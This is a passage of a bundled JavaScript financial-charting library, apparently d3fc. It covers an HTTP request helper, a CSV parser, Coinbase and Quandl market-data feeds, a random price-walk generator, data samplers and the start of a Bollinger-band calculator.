tooltip: tooltip,
smallMultiples: smallMultiples
};
var prefix$2 = "$";
function Map() {}
Map.prototype = map$1.prototype = {
constructor: Map,
has: function has(key) {
return prefix$2 + key in this;
},
get: function get(key) {
return this[prefix$2 + key];
},
set: function set(key, value) {
this[prefix$2 + key] = value;
return this;
},
remove: function remove(key) {
var property = prefix$2 + key;
return property in this && delete this[property];
},
clear: function clear() {
for (var property in this) {
if (property[0] === prefix$2) delete this[property];
}
},
keys: function keys() {
var keys = [];
for (var property in this) {
if (property[0] === prefix$2) keys.push(property.slice(1));
}return keys;
},
values: function values() {
var values = [];
for (var property in this) {
if (property[0] === prefix$2) values.push(this[property]);
}return values;
},
entries: function entries() {
var entries = [];
for (var property in this) {
if (property[0] === prefix$2) entries.push({ key: property.slice(1), value: this[property] });
}return entries;
},
size: function size() {
var size = 0;
for (var property in this) {
if (property[0] === prefix$2) ++size;
}return size;
},
empty: function empty() {
for (var property in this) {
if (property[0] === prefix$2) return false;
}return true;
},
each: function each(f) {
for (var property in this) {
if (property[0] === prefix$2) f(this[property], property.slice(1), this);
}
}
};
function map$1(object, f) {
var map = new Map();
// Copy constructor.
if (object instanceof Map) object.each(function (value, key) {
map.set(key, value);
});
// Index array by numeric index or specified key function.
else if (Array.isArray(object)) {
var i = -1,
n = object.length,
o;
if (f == null) while (++i < n) {
map.set(i, object[i]);
} else while (++i < n) {
map.set(f(o = object[i], i, object), o);
}
}
// Convert object to map.
else if (object) for (var key in object) {
map.set(key, object[key]);
}return map;
}
var proto = map$1.prototype;
var noop$1 = { value: function value() {} };
function dispatch() {
for (var i = 0, n = arguments.length, _ = {}, t; i < n; ++i) {
if (!(t = arguments[i] + "") || t in _) throw new Error("illegal type: " + t);
_[t] = [];
}
return new Dispatch(_);
}
function Dispatch(_) {
this._ = _;
}
function parseTypenames(typenames, types) {
return typenames.trim().split(/^|\s+/).map(function (t) {
var name = "",
i = t.indexOf(".");
if (i >= 0) name = t.slice(i + 1), t = t.slice(0, i);
if (t && !types.hasOwnProperty(t)) throw new Error("unknown type: " + t);
return { type: t, name: name };
});
}
Dispatch.prototype = dispatch.prototype = {
constructor: Dispatch,
on: function on(typename, callback) {
var _ = this._,
T = parseTypenames(typename + "", _),
t,
i = -1,
n = T.length;
// If no callback was specified, return the callback of the given type and name.
if (arguments.length < 2) {
while (++i < n) {
if ((t = (typename = T[i]).type) && (t = get(_[t], typename.name))) return t;
}return;
}
// If a type was specified, set the callback for the given type and name.
// Otherwise, if a null callback was specified, remove callbacks of the given name.
if (callback != null && typeof callback !== "function") throw new Error("invalid callback: " + callback);
while (++i < n) {
if (t = (typename = T[i]).type) _[t] = set$1(_[t], typename.name, callback);else if (callback == null) for (t in _) {
_[t] = set$1(_[t], typename.name, null);
}
}
return this;
},
copy: function copy() {
var copy = {},
_ = this._;
for (var t in _) {
copy[t] = _[t].slice();
}return new Dispatch(copy);
},
call: function call(type, that) {
if ((n = arguments.length - 2) > 0) for (var args = new Array(n), i = 0, n, t; i < n; ++i) {
args[i] = arguments[i + 2];
}if (!this._.hasOwnProperty(type)) throw new Error("unknown type: " + type);
for (t = this._[type], i = 0, n = t.length; i < n; ++i) {
t[i].value.apply(that, args);
}
},
apply: function apply(type, that, args) {
if (!this._.hasOwnProperty(type)) throw new Error("unknown type: " + type);
for (var t = this._[type], i = 0, n = t.length; i < n; ++i) {
t[i].value.apply(that, args);
}
}
};
function get(type, name) {
for (var i = 0, n = type.length, c; i < n; ++i) {
if ((c = type[i]).name === name) {
return c.value;
}
}
}
function set$1(type, name, callback) {
for (var i = 0, n = type.length; i < n; ++i) {
if (type[i].name === name) {
type[i] = noop$1, type = type.slice(0, i).concat(type.slice(i + 1));
break;
}
}
if (callback != null) type.push({ name: name, value: callback });
return type;
}
function request (url, callback) {
var request,
event = dispatch("beforesend", "progress", "load", "error"),
_mimeType,
headers = map$1(),
xhr = new XMLHttpRequest(),
_user = null,
_password = null,
_response,
_responseType,
_timeout = 0;
// If IE does not support CORS, use XDomainRequest.
if (typeof XDomainRequest !== "undefined" && !("withCredentials" in xhr) && /^(http(s)?:)?\/\//.test(url)) xhr = new XDomainRequest();
"onload" in xhr ? xhr.onload = xhr.onerror = xhr.ontimeout = respond : xhr.onreadystatechange = function (o) {
xhr.readyState > 3 && respond(o);
};
function respond(o) {
var status = xhr.status,
result;
if (!status && hasResponse(xhr) || status >= 200 && status < 300 || status === 304) {
if (_response) {
try {
result = _response.call(request, xhr);
} catch (e) {
event.call("error", request, e);
return;
}
} else {
result = xhr;
}
event.call("load", request, result);
} else {
event.call("error", request, o);
}
}
xhr.onprogress = function (e) {
event.call("progress", request, e);
};
request = {
header: function header(name, value) {
name = (name + "").toLowerCase();
if (arguments.length < 2) return headers.get(name);
if (value == null) headers.remove(name);else headers.set(name, value + "");
return request;
},
// If mimeType is non-null and no Accept header is set, a default is used.
mimeType: function mimeType(value) {
if (!arguments.length) return _mimeType;
_mimeType = value == null ? null : value + "";
return request;
},
// Specifies what type the response value should take;
// for instance, arraybuffer, blob, document, or text.
responseType: function responseType(value) {
if (!arguments.length) return _responseType;
_responseType = value;
return request;
},
timeout: function timeout(value) {
if (!arguments.length) return _timeout;
_timeout = +value;
return request;
},
user: function user(value) {
return arguments.length < 1 ? _user : (_user = value == null ? null : value + "", request);
},
password: function password(value) {
return arguments.length < 1 ? _password : (_password = value == null ? null : value + "", request);
},
// Specify how to convert the response content to a specific type;
// changes the callback value on "load" events.
response: function response(value) {
_response = value;
return request;
},
// Alias for send("GET", …).
get: function get(data, callback) {
return request.send("GET", data, callback);
},
// Alias for send("POST", …).
post: function post(data, callback) {
return request.send("POST", data, callback);
},
// If callback is non-null, it will be used for error and load events.
send: function send(method, data, callback) {
if (!callback && typeof data === "function") callback = data, data = null;
if (callback && callback.length === 1) callback = fixCallback(callback);
xhr.open(method, url, true, _user, _password);
if (_mimeType != null && !headers.has("accept")) headers.set("accept", _mimeType + ",*/*");
if (xhr.setRequestHeader) headers.each(function (value, name) {
xhr.setRequestHeader(name, value);
});
if (_mimeType != null && xhr.overrideMimeType) xhr.overrideMimeType(_mimeType);
if (_responseType != null) xhr.responseType = _responseType;
if (_timeout > 0) xhr.timeout = _timeout;
if (callback) request.on("error", callback).on("load", function (xhr) {
callback(null, xhr);
});
event.call("beforesend", request, xhr);
xhr.send(data == null ? null : data);
return request;
},
abort: function abort() {
xhr.abort();
return request;
},
on: function on() {
var value = event.on.apply(event, arguments);
return value === event ? request : value;
}
};
return callback ? request.get(callback) : request;
}
function fixCallback(callback) {
return function (error, xhr) {
callback(error == null ? xhr : null);
};
}
function hasResponse(xhr) {
var type = xhr.responseType;
return type && type !== "text" ? xhr.response // null on error
: xhr.responseText; // "" on error
}
function type (defaultMimeType, response) {
return function (url, callback) {
var r = request(url).mimeType(defaultMimeType).response(response);
return callback ? r.get(callback) : r;
};
}
var json = type("application/json", function (xhr) {
return JSON.parse(xhr.responseText);
});
function objectConverter(columns) {
return new Function("d", "return {" + columns.map(function (name, i) {
return JSON.stringify(name) + ": d[" + i + "]";
}).join(",") + "}");
}
function customConverter(columns, f) {
var object = objectConverter(columns);
return function (row, i) {
return f(object(row), i, columns);
};
}
// Compute unique columns in order of discovery.
function inferColumns(rows) {
var columnSet = Object.create(null),
columns = [];
rows.forEach(function (row) {
for (var column in row) {
if (!(column in columnSet)) {
columns.push(columnSet[column] = column);
}
}
});
return columns;
}
function dsv (delimiter) {
var reFormat = new RegExp("[\"" + delimiter + "\n]"),
delimiterCode = delimiter.charCodeAt(0);
function parse(text, f) {
var convert,
columns,
rows = parseRows(text, function (row, i) {
if (convert) return convert(row, i - 1);
columns = row, convert = f ? customConverter(row, f) : objectConverter(row);
});
rows.columns = columns;
return rows;
}
function parseRows(text, f) {
var EOL = {},
// sentinel value for end-of-line
EOF = {},
// sentinel value for end-of-file
rows = [],
// output rows
N = text.length,
I = 0,
// current character index
n = 0,
// the current line number
t,
// the current token
eol; // is the current token followed by EOL?
function token() {
if (I >= N) return EOF; // special case: end of file
if (eol) return eol = false, EOL; // special case: end of line
// special case: quotes
var j = I,
c;
if (text.charCodeAt(j) === 34) {
var i = j;
while (i++ < N) {
if (text.charCodeAt(i) === 34) {
if (text.charCodeAt(i + 1) !== 34) break;
++i;
}
}
I = i + 2;
c = text.charCodeAt(i + 1);
if (c === 13) {
eol = true;
if (text.charCodeAt(i + 2) === 10) ++I;
} else if (c === 10) {
eol = true;
}
return text.slice(j + 1, i).replace(/""/g, "\"");
}
// common case: find next delimiter or newline
while (I < N) {
var k = 1;
c = text.charCodeAt(I++);
if (c === 10) eol = true; // \n
else if (c === 13) {
eol = true;if (text.charCodeAt(I) === 10) ++I, ++k;
} // \r|\r\n
else if (c !== delimiterCode) continue;
return text.slice(j, I - k);
}
// special case: last token before EOF
return text.slice(j);
}
while ((t = token()) !== EOF) {
var a = [];
while (t !== EOL && t !== EOF) {
a.push(t);
t = token();
}
if (f && (a = f(a, n++)) == null) continue;
rows.push(a);
}
return rows;
}
function format(rows, columns) {
if (columns == null) columns = inferColumns(rows);
return [columns.map(formatValue).join(delimiter)].concat(rows.map(function (row) {
return columns.map(function (column) {
return formatValue(row[column]);
}).join(delimiter);
})).join("\n");
}
function formatRows(rows) {
return rows.map(formatRow).join("\n");
}
function formatRow(row) {
return row.map(formatValue).join(delimiter);
}
function formatValue(text) {
return text == null ? "" : reFormat.test(text += "") ? "\"" + text.replace(/\"/g, "\"\"") + "\"" : text;
}
return {
parse: parse,
parseRows: parseRows,
format: format,
formatRows: formatRows
};
}
var csv$1 = dsv(",");
var tsv = dsv("\t");
// https://docs.exchange.coinbase.com/#market-data
function coinbase () {
var product = 'BTC-USD';
var start = null;
var end = null;
var granularity = null;
var coinbase = function coinbase(cb) {
var params = [];
if (start != null) {
params.push('start=' + start.toISOString());
}
if (end != null) {
params.push('end=' + end.toISOString());
}
if (granularity != null) {
params.push('granularity=' + granularity);
}
var url = 'https://api.exchange.coinbase.com/products/' + product + '/candles?' + params.join('&');
json(url, function (error, data) {
if (error) {
cb(error);
return;
}
data = data.map(function (d) {
return {
date: new Date(d[0] * 1000),
open: d[3],
high: d[2],
low: d[1],
close: d[4],
volume: d[5]
};
});
cb(error, data);
});
};
coinbase.product = function (x) {
if (!arguments.length) {
return product;
}
product = x;
return coinbase;
};
coinbase.start = function (x) {
if (!arguments.length) {
return start;
}
start = x;
return coinbase;
};
coinbase.end = function (x) {
if (!arguments.length) {
return end;
}
end = x;
return coinbase;
};
coinbase.granularity = function (x) {
if (!arguments.length) {
return granularity;
}
granularity = x;
return coinbase;
};
return coinbase;
}
// https://www.quandl.com/docs/api#datasets
function quandl () {
function defaultColumnNameMap(colName) {
return colName[0].toLowerCase() + colName.substr(1);
}
var database = 'YAHOO';
var dataset = 'GOOG';
var apiKey = null;
var start = null;
var end = null;
var rows = null;
var descending = false;
var collapse = null;
var columnNameMap = defaultColumnNameMap;
var quandl = function quandl(cb) {
var params = [];
if (apiKey != null) {
params.push('api_key=' + apiKey);
}
if (start != null) {
params.push('start_date=' + start.toISOString().substring(0, 10));
}
if (end != null) {
params.push('end_date=' + end.toISOString().substring(0, 10));
}
if (rows != null) {
params.push('rows=' + rows);
}
if (!descending) {
params.push('order=asc');
}
if (collapse != null) {
params.push('collapse=' + collapse);
}
var url = 'https://www.quandl.com/api/v3/datasets/' + database + '/' + dataset + '/data.json?' + params.join('&');
json(url, function (error, data) {
if (error) {
cb(error);
return;
}
var datasetData = data.dataset_data;
var nameMapping = columnNameMap || function (n) {
return n;
};
var colNames = datasetData.column_names.map(function (n, i) {
return [i, nameMapping(n)];
}).filter(function (v) {
return v[1];
});
var mappedData = datasetData.data.map(function (d) {
var output = {};
colNames.forEach(function (v) {
output[v[1]] = v[0] === 0 ? new Date(d[v[0]]) : d[v[0]];
});
return output;
});
cb(error, mappedData);
});
};
// Unique Database Code (e.g. WIKI)
quandl.database = function (x) {
if (!arguments.length) {
return database;
}
database = x;
return quandl;
};
// Unique Dataset Code (e.g. AAPL)
quandl.dataset = function (x) {
if (!arguments.length) {
return dataset;
}
dataset = x;
return quandl;
};
// Set To Use API Key In Request (needed for premium set or high frequency requests)
quandl.apiKey = function (x) {
if (!arguments.length) {
return apiKey;
}
apiKey = x;
return quandl;
};
// Start Date of Data Series
quandl.start = function (x) {
if (!arguments.length) {
return start;
}
start = x;
return quandl;
};
// End Date of Data Series
quandl.end = function (x) {
if (!arguments.length) {
return end;
}
end = x;
return quandl;
};
// Limit Number of Rows
quandl.rows = function (x) {
if (!arguments.length) {
return rows;
}
rows = x;
return quandl;
};
// Return Results In Descending Order (true) or Ascending (false)
quandl.descending = function (x) {
if (!arguments.length) {
return descending;
}
descending = x;
return quandl;
};
// Periodicity of Data (daily | weekly | monthly | quarterly | annual)
quandl.collapse = function (x) {
if (!arguments.length) {
return collapse;
}
collapse = x;
return quandl;
};
// Function Used to Normalise the Quandl Column Name To Field Name, Return Null To Skip Field
quandl.columnNameMap = function (x) {
if (!arguments.length) {
return columnNameMap;
}
columnNameMap = x;
return quandl;
};
// Expose default column name map
quandl.defaultColumnNameMap = defaultColumnNameMap;
return quandl;
}
var feed = Object.freeze({
coinbase: coinbase,
quandl: quandl
});
function _walk () {
var period = 1,
steps = 20,
mu = 0.1,
sigma = 0.1;
var walk = function walk(value) {
var randomNormal = d3.random.normal(),
timeStep = period / steps,
walkData = [];
for (var i = 0; i < steps + 1; i++) {
walkData.push(value);
var increment = randomNormal() * Math.sqrt(timeStep) * sigma + (mu - sigma * sigma / 2) * timeStep;
value = value * Math.exp(increment);
}
return walkData;
};
walk.period = function (x) {
if (!arguments.length) {
return period;
}
period = x;
return walk;
};
walk.steps = function (x) {
if (!arguments.length) {
return steps;
}
steps = x;
return walk;
};
walk.mu = function (x) {
if (!arguments.length) {
return mu;
}
mu = x;
return walk;
};
walk.sigma = function (x) {
if (!arguments.length) {
return sigma;
}
sigma = x;
return walk;
};
return walk;
}
function financial () {
var startDate = new Date();
var startPrice = 100;
var interval = d3.time.day;
var intervalStep = 1;
var unitInterval = d3.time.year;
var unitIntervalStep = 1;
var filter = null;
var volume = function volume() {
var randomNormal = d3.random.normal(1, 0.1);
return Math.ceil(randomNormal() * 1000);
};
var walk = _walk();
function getOffsetPeriod(date) {
var unitMilliseconds = unitInterval.offset(date, unitIntervalStep) - date;
return (interval.offset(date, intervalStep) - date) / unitMilliseconds;
}
function calculateOHLC(start, price) {
var period = getOffsetPeriod(start);
var prices = walk.period(period)(price);
var ohlc = {
date: start,
open: prices[0],
high: Math.max.apply(Math, prices),
low: Math.min.apply(Math, prices),
close: prices[walk.steps()]
};
ohlc.volume = volume(ohlc);
return ohlc;
}
function getNextDatum(ohlc) {
var date, price;
do {
date = ohlc ? interval.offset(ohlc.date, intervalStep) : new Date(startDate.getTime());
price = ohlc ? ohlc.close : startPrice;
ohlc = calculateOHLC(date, price);
} while (filter && !filter(ohlc));
return ohlc;
}
var financial = function financial(numPoints) {
var stream = makeStream();
return stream.take(numPoints);
};
financial.stream = makeStream;
function makeStream() {
var latest;
var stream = {};
stream.next = function () {
var ohlc = getNextDatum(latest);
latest = ohlc;
return ohlc;
};
stream.take = function (numPoints) {
return this.until(function (d, i) {
return !numPoints || numPoints < 0 || i === numPoints;
});
};
stream.until = function (comparison) {
var data = [];
var index = 0;
var ohlc = getNextDatum(latest);
while (comparison && !comparison(ohlc, index)) {
data.push(ohlc);
latest = ohlc;
ohlc = getNextDatum(latest);
index += 1;
}
return data;
};
return stream;
}
financial.startDate = function (x) {
if (!arguments.length) {
return startDate;
}
startDate = x;
return financial;
};
financial.startPrice = function (x) {
if (!arguments.length) {
return startPrice;
}
startPrice = x;
return financial;
};
financial.interval = function (x) {
if (!arguments.length) {
return interval;
}
interval = x;
return financial;
};
financial.intervalStep = function (x) {
if (!arguments.length) {
return intervalStep;
}
intervalStep = x;
return financial;
};
financial.unitInterval = function (x) {
if (!arguments.length) {
return unitInterval;
}
unitInterval = x;
return financial;
};
financial.unitIntervalStep = function (x) {
if (!arguments.length) {
return unitIntervalStep;
}
unitIntervalStep = x;
return financial;
};
financial.filter = function (x) {
if (!arguments.length) {
return filter;
}
filter = x;
return financial;
};
financial.volume = function (x) {
if (!arguments.length) {
return volume;
}
volume = d3.functor(x);
return financial;
};
d3.rebind(financial, walk, 'steps', 'mu', 'sigma');
return financial;
}
function skipWeekends() {
return function (datum) {
var day = datum.date.getDay();
return !(day === 0 || day === 6);
};
}
var random = {
filter: {
skipWeekends: skipWeekends
},
financial: financial,
walk: _walk
};
function ascending (a, b) {
return a < b ? -1 : a > b ? 1 : a >= b ? 0 : NaN;
}
function bisector (compare) {
if (compare.length === 1) compare = ascendingComparator(compare);
return {
left: function left(a, x, lo, hi) {
if (lo == null) lo = 0;
if (hi == null) hi = a.length;
while (lo < hi) {
var mid = lo + hi >>> 1;
if (compare(a[mid], x) < 0) lo = mid + 1;else hi = mid;
}
return lo;
},
right: function right(a, x, lo, hi) {
if (lo == null) lo = 0;
if (hi == null) hi = a.length;
while (lo < hi) {
var mid = lo + hi >>> 1;
if (compare(a[mid], x) > 0) hi = mid;else lo = mid + 1;
}
return lo;
}
};
}
function ascendingComparator(f) {
return function (d, x) {
return ascending(f(d), x);
};
}
var ascendingBisect = bisector(ascending);
function number (x) {
return x === null ? NaN : +x;
}
function extent (array, f) {
var i = -1,
n = array.length,
a,
b,
c;
if (f == null) {
while (++i < n) {
if ((b = array[i]) != null && b >= b) {
a = c = b;break;
}
}while (++i < n) {
if ((b = array[i]) != null) {
if (a > b) a = b;
if (c < b) c = b;
}
}
} else {
while (++i < n) {
if ((b = f(array[i], i, array)) != null && b >= b) {
a = c = b;break;
}
}while (++i < n) {
if ((b = f(array[i], i, array)) != null) {
if (a > b) a = b;
if (c < b) c = b;
}
}
}
return [a, c];
}
function range$1 (start, stop, step) {
start = +start, stop = +stop, step = (n = arguments.length) < 2 ? (stop = start, start = 0, 1) : n < 3 ? 1 : +step;
var i = -1,
n = Math.max(0, Math.ceil((stop - start) / step)) | 0,
range = new Array(n);
while (++i < n) {
range[i] = start + i * step;
}
return range;
}
function max (array, f) {
var i = -1,
n = array.length,
a,
b;
if (f == null) {
while (++i < n) {
if ((b = array[i]) != null && b >= b) {
a = b;break;
}
}while (++i < n) {
if ((b = array[i]) != null && b > a) a = b;
}
} else {
while (++i < n) {
if ((b = f(array[i], i, array)) != null && b >= b) {
a = b;break;
}
}while (++i < n) {
if ((b = f(array[i], i, array)) != null && b > a) a = b;
}
}
return a;
}
function mean (array, f) {
var s = 0,
n = array.length,
a,
i = -1,
j = n;
if (f == null) {
while (++i < n) {
if (!isNaN(a = number(array[i]))) s += a;else --j;
}
} else {
while (++i < n) {
if (!isNaN(a = number(f(array[i], i, array)))) s += a;else --j;
}
}
if (j) return s / j;
}
function bucket () {
var bucketSize = 10;
var bucket = function bucket(data) {
return range$1(0, Math.ceil(data.length / bucketSize)).map(function (i) {
return data.slice(i * bucketSize, (i + 1) * bucketSize);
});
};
bucket.bucketSize = function (x) {
if (!arguments.length) {
return bucketSize;
}
bucketSize = x;
return bucket;
};
return bucket;
}
function largestTriangleOneBucket () {
var dataBucketer = bucket();
var x = function x(d) {
return d;
};
var y = function y(d) {
return d;
};
var largestTriangleOneBucket = function largestTriangleOneBucket(data) {
if (dataBucketer.bucketSize() >= data.length) {
return data;
}
var pointAreas = calculateAreaOfPoints(data);
var pointAreaBuckets = dataBucketer(pointAreas);
var buckets = dataBucketer(data.slice(1, data.length - 1));
var subsampledData = buckets.map(function (thisBucket, i) {
var pointAreaBucket = pointAreaBuckets[i];
var maxArea = max(pointAreaBucket);
var currentMaxIndex = pointAreaBucket.indexOf(maxArea);
return thisBucket[currentMaxIndex];
});
// First and last data points are their own buckets.
return [].concat(data[0], subsampledData, data[data.length - 1]);
};
function calculateAreaOfPoints(data) {
var xyData = data.map(function (point) {
return [x(point), y(point)];
});
var pointAreas = range$1(1, xyData.length - 1).map(function (i) {
var lastPoint = xyData[i - 1];
var thisPoint = xyData[i];
var nextPoint = xyData[i + 1];
var base = (lastPoint[0] - nextPoint[0]) * (thisPoint[1] - lastPoint[1]);
var height = (lastPoint[0] - thisPoint[0]) * (nextPoint[1] - lastPoint[1]);
return Math.abs(0.5 * base * height);
});
return pointAreas;
}
rebind(largestTriangleOneBucket, dataBucketer, 'bucketSize');
largestTriangleOneBucket.x = function (d) {
if (!arguments.length) {
return x;
}
x = d;
return largestTriangleOneBucket;
};
largestTriangleOneBucket.y = function (d) {
if (!arguments.length) {
return y;
}
y = d;
return largestTriangleOneBucket;
};
return largestTriangleOneBucket;
}
function largestTriangleThreeBucket () {
var x = function x(d) {
return d;
};
var y = function y(d) {
return d;
};
var dataBucketer = bucket();
var largestTriangleThreeBucket = function largestTriangleThreeBucket(data) {
if (dataBucketer.bucketSize() >= data.length) {
return data;
}
var buckets = dataBucketer(data.slice(1, data.length - 1));
var firstBucket = data[0];
var lastBucket = data[data.length - 1];
// Keep track of the last selected bucket info and all buckets
// (for the next bucket average)
var allBuckets = [].concat(firstBucket, buckets, lastBucket);
var lastSelectedX = x(firstBucket);
var lastSelectedY = y(firstBucket);
var subsampledData = buckets.map(function (thisBucket, i) {
var nextAvgX = mean(allBuckets[i + 1], x);
var nextAvgY = mean(allBuckets[i + 1], y);
var xyData = thisBucket.map(function (item) {
return [x(item), y(item)];
});
var areas = xyData.map(function (item) {
var base = (lastSelectedX - nextAvgX) * (item[1] - lastSelectedY);
var height = (lastSelectedX - item[0]) * (nextAvgY - lastSelectedY);
return Math.abs(0.5 * base * height);
});
var highestIndex = areas.indexOf(max(areas));
var highestXY = xyData[highestIndex];
lastSelectedX = highestXY[0];
lastSelectedY = highestXY[1];
return thisBucket[highestIndex];
});
// First and last data points are their own buckets.
return [].concat(data[0], subsampledData, data[data.length - 1]);
};
rebind(largestTriangleThreeBucket, dataBucketer, 'bucketSize');
largestTriangleThreeBucket.x = function (d) {
if (!arguments.length) {
return x;
}
x = d;
return largestTriangleThreeBucket;
};
largestTriangleThreeBucket.y = function (d) {
if (!arguments.length) {
return y;
}
y = d;
return largestTriangleThreeBucket;
};
return largestTriangleThreeBucket;
}
function modeMedian () {
var dataBucketer = bucket();
var value = function value(d) {
return d;
};
var modeMedian = function modeMedian(data) {
if (dataBucketer.bucketSize() > data.length) {
return data;
}
var minMax = extent(data, value);
var buckets = dataBucketer(data.slice(1, data.length - 1));
var subsampledData = buckets.map(function (thisBucket, i) {
var frequencies = {};
var mostFrequent;
var mostFrequentIndex;
var singleMostFrequent = true;
var values = thisBucket.map(value);
var globalMinMax = values.filter(function (value) {
return value === minMax[0] || value === minMax[1];
}).map(function (value) {
return values.indexOf(value);
})[0];
if (globalMinMax !== undefined) {
return thisBucket[globalMinMax];
}
values.forEach(function (item, i) {
if (frequencies[item] === undefined) {
frequencies[item] = 0;
}
frequencies[item]++;
if (frequencies[item] > frequencies[mostFrequent] || mostFrequent === undefined) {
mostFrequent = item;
mostFrequentIndex = i;
singleMostFrequent = true;
} else if (frequencies[item] === frequencies[mostFrequent]) {
singleMostFrequent = false;
}
});
if (singleMostFrequent) {
return thisBucket[mostFrequentIndex];
} else {
return thisBucket[Math.floor(thisBucket.length / 2)];
}
});
// First and last data points are their own buckets.
return [].concat(data[0], subsampledData, data[data.length - 1]);
};
rebind(modeMedian, dataBucketer, 'bucketSize');
modeMedian.value = function (x) {
if (!arguments.length) {
return value;
}
value = x;
return modeMedian;
};
return modeMedian;
}
var sampler = Object.freeze({
bucket: bucket,
largestTriangleOneBucket: largestTriangleOneBucket,
largestTriangleThreeBucket: largestTriangleThreeBucket,
modeMedian: modeMedian
});
// the D3 CSV loader / parser converts each row into an object with property names
// derived from the headings in the CSV. The spread component converts this into an
// array of series; one per column (vertical spread), or one per row (horizontal spread).
function spread () {
var xValueKey = '',
orient = 'vertical',
yValue = function yValue(row, key) {
// D3 CSV returns all values as strings, this converts them to numbers
// by default.
return Number(row[key]);
};
function verticalSpread(data) {
var series = Object.keys(data[0]).filter(function (key) {
return key !== xValueKey;
}).map(function (key) {
var values = data.filter(function (row) {
return row[key];
}).map(function (row) {
return {
x: row[xValueKey],
y: yValue(row, key)
};
});
return {
key: key,
values: values
};
});
return series;
}
function horizontalSpread(data) {
var series = data.map(function (row) {
var keys = Object.keys(row).filter(function (d) {
return d !== xValueKey;
});
return {
key: row[xValueKey],
values: keys.map(function (key) {
return {
x: key,
y: yValue(row, key)
};
})
};
});
return series;
}
var spread = function spread(data) {
return orient === 'vertical' ? verticalSpread(data) : horizontalSpread(data);
};
spread.xValueKey = function (x) {
if (!arguments.length) {
return xValueKey;
}
xValueKey = x;
return spread;
};
spread.yValue = function (x) {
if (!arguments.length) {
return yValue;
}
yValue = x;
return spread;
};
spread.orient = function (x) {
if (!arguments.length) {
return orient;
}
orient = x;
return spread;
};
return spread;
}
var data = {
feed: feed,
random: random,
spread: spread,
sampler: sampler
};
function ascending$1 (a, b) {
return a < b ? -1 : a > b ? 1 : a >= b ? 0 : NaN;
}
function bisector$1 (compare) {
if (compare.length === 1) compare = ascendingComparator$1(compare);
return {
left: function left(a, x, lo, hi) {
if (lo == null) lo = 0;
if (hi == null) hi = a.length;
while (lo < hi) {
var mid = lo + hi >>> 1;
if (compare(a[mid], x) < 0) lo = mid + 1;else hi = mid;
}
return lo;
},
right: function right(a, x, lo, hi) {
if (lo == null) lo = 0;
if (hi == null) hi = a.length;
while (lo < hi) {
var mid = lo + hi >>> 1;
if (compare(a[mid], x) > 0) hi = mid;else lo = mid + 1;
}
return lo;
}
};
}
function ascendingComparator$1(f) {
return function (d, x) {
return ascending$1(f(d), x);
};
}
var ascendingBisect$1 = bisector$1(ascending$1);
function number$2 (x) {
return x === null ? NaN : +x;
}
function variance$1 (array, f) {
var n = array.length,
m = 0,
a,
d,
s = 0,
i = -1,
j = 0;
if (f == null) {
while (++i < n) {
if (!isNaN(a = number$2(array[i]))) {
d = a - m;
m += d / ++j;
s += d * (a - m);
}
}
} else {
while (++i < n) {
if (!isNaN(a = number$2(f(array[i], i, array)))) {
d = a - m;
m += d / ++j;
s += d * (a - m);
}
}
}
if (j > 1) return s / (j - 1);
}
function deviation$1 (array, f) {
var v = variance$1(array, f);
return v ? Math.sqrt(v) : v;
}
function max$1 (array, f) {
var i = -1,
n = array.length,
a,
b;
if (f == null) {
while (++i < n) {
if ((b = array[i]) != null && b >= b) {
a = b;break;
}
}while (++i < n) {
if ((b = array[i]) != null && b > a) a = b;
}
} else {
while (++i < n) {
if ((b = f(array[i], i, array)) != null && b >= b) {
a = b;break;
}
}while (++i < n) {
if ((b = f(array[i], i, array)) != null && b > a) a = b;
}
}
return a;
}
function mean$1 (array, f) {
var s = 0,
n = array.length,
a,
i = -1,
j = n;
if (f == null) {
while (++i < n) {
if (!isNaN(a = number$2(array[i]))) s += a;else --j;
}
} else {
while (++i < n) {
if (!isNaN(a = number$2(f(array[i], i, array)))) s += a;else --j;
}
}
if (j) return s / j;
}
function min$1 (array, f) {
var i = -1,
n = array.length,
a,
b;
if (f == null) {
while (++i < n) {
if ((b = array[i]) != null && b >= b) {
a = b;break;
}
}while (++i < n) {
if ((b = array[i]) != null && a > b) a = b;
}
} else {
while (++i < n) {
if ((b = f(array[i], i, array)) != null && b >= b) {
a = b;break;
}
}while (++i < n) {
if ((b = f(array[i], i, array)) != null && a > b) a = b;
}
}
return a;
}
function transpose$1 (matrix) {
if (!(n = matrix.length)) return [];
for (var i = -1, m = min$1(matrix, length$1), transpose = new Array(m); ++i < m;) {
for (var j = -1, n, row = transpose[i] = new Array(n); ++j < n;) {
row[j] = matrix[j][i];
}
}
return transpose;
}
function length$1(d) {
return d.length;
}
function zip$1 () {
return transpose$1(arguments);
}
function identity$4(d) {
return d;
}
function noop$2(d) {}
function functor$1(v) {
return typeof v === 'function' ? v : function () {
return v;
};
}
function convertNaN(value) {
return typeof value === 'number' && isNaN(value) ? undefined : value;
}
function _slidingWindow () {
var period = function period() {
return 10;
};
var accumulator = noop$2;
var value = identity$4;
var defined = function defined(d) {
return d != null;
};
var slidingWindow = function slidingWindow(data) {
var size = period.apply(this, arguments);
var windowData = data.slice(0, size).map(value);
return data.map(function (d, i) {
if (i >= size) {
// Treat windowData as FIFO rolling buffer
windowData.shift();
windowData.push(value(d, i));
}
if (i < size - 1 || windowData.some(function (d) {
return !defined(d);
})) {
return accumulator(undefined, i);
}
return accumulator(windowData, i);
});
};
slidingWindow.period = function () {
if (!arguments.length) {
return period;
}
period = functor$1(arguments.length <= 0 ? undefined : arguments[0]);
return slidingWindow;
};
slidingWindow.accumulator = function () {
if (!arguments.length) {
return accumulator;
}
accumulator = arguments.length <= 0 ? undefined : arguments[0];
return slidingWindow;
};
slidingWindow.defined = function () {
if (!arguments.length) {
return defined;
}
defined = arguments.length <= 0 ? undefined : arguments[0];
return slidingWindow;
};
slidingWindow.value = function () {
if (!arguments.length) {
return value;
}
value = arguments.length <= 0 ? undefined : arguments[0];
return slidingWindow;
};
return slidingWindow;
}
function calculator () {
var multiplier = 2;
var slidingWindow = _slidingWindow().accumulator(function (values) {
var stdDev = values && deviation$1(values);
var average = values && mean$1(values);
return {
average: average,
upper: convertNaN(average + multiplier * stdDev),
lower: convertNaN(average - multiplier * stdDev)
};
});
var bollingerBands = function bollingerBands(data) {
return slidingWindow(data);
};
bollingerBands.multiplier = function () {
if (!arguments.length) {
return multiplier;
}
multiplier = arguments.length <= 0 ? undefined : arguments[0];
return bollingerBands;
};
rebind(bollingerBands, slidingWindow, 'period', 'value');
return bollingerBands;
}
function calculator$1 () {
var value = identity$4;
var period = function period() {
return 9;
};
